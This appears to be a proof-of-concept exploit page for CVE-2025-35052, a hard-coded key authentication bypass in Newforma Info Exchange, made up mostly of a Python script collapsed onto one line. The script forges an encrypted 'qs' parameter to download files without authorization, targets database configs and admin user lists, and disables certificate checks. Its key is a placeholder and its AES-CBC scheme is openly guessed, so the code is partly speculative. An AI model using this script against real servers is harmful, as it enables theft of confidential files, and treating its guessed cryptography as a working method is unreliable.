CVE-2025-35052：Newforma Info Exchange硬编码密钥导致认证绕过漏洞

# CVE-2025-35052 PoC - Newforma Info Exchange Hard-coded Key Authentication Bypass # Exploit: Unauthorized file download via hard-coded encryption key in 'qs' parameter import requests from urllib.parse import quote # Target NIX server TARGET_URL = "https://target-nix-server/DownloadWeb/download.aspx" # Hard-coded key extracted from NIX application (placeholder - actual key would be reverse-engineered) HARDCODED_KEY = b'NIX_HARDCODED_KEY_HERE' def encrypt_param(plaintext, key): """ Encrypt the query parameter using the hard-coded key. The actual encryption algorithm (e.g., AES, DES, 3DES) and mode would need to be determined through reverse engineering. """ # Example using AES-CBC (actual implementation may differ) from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import os iv = b'\x00' * 16 # IV may be static or derived cipher = AES.new(key, AES.MODE_CBC, iv) padded = pad(plaintext.encode(), AES.block_size) encrypted = cipher.encrypt(padded) return base64.b64encode(encrypted).decode() def exploit_file_download(target_file_path): """ Exploit the hard-coded key vulnerability to download unauthorized files. """ # Step 1: Construct the file path parameter qs_plaintext = target_file_path # e.g., "\\\\\\\\files\\\\sensitive_document.pdf" # Step 2: Encrypt the parameter using the hard-coded key qs_encrypted = encrypt_param(qs_plaintext, HARDCODED_KEY) # Step 3: Send the request with the encrypted parameter params = {"qs": qs_encrypted} response = requests.get(TARGET_URL, params=params, verify=False) # Step 4: Check response if response.status_code == 200: print(f"[+] Successfully downloaded file: {target_file_path}") print(f"[+] Content-Length: {len(response.content)}") return response.content else: print(f"[-] Failed to download file. Status code: {response.status_code}") return None # Example usage if __name__ == "__main__": # Target sensitive file paths to download target_files = [ "config/database.xml", "uploads/project_data.zip", "admin/users.xml" ] for file_path in target_files: print(f"\n[*] Attempting to download: {file_path}") content = exploit_file_download(file_path) if content: # Save the downloaded file filename = file_path.replace("/", "_").replace("\\\\", "_") with open(f"downloaded_{filename}", "wb") as f: f.write(content) print(f"[+] File saved as: downloaded_{filename}")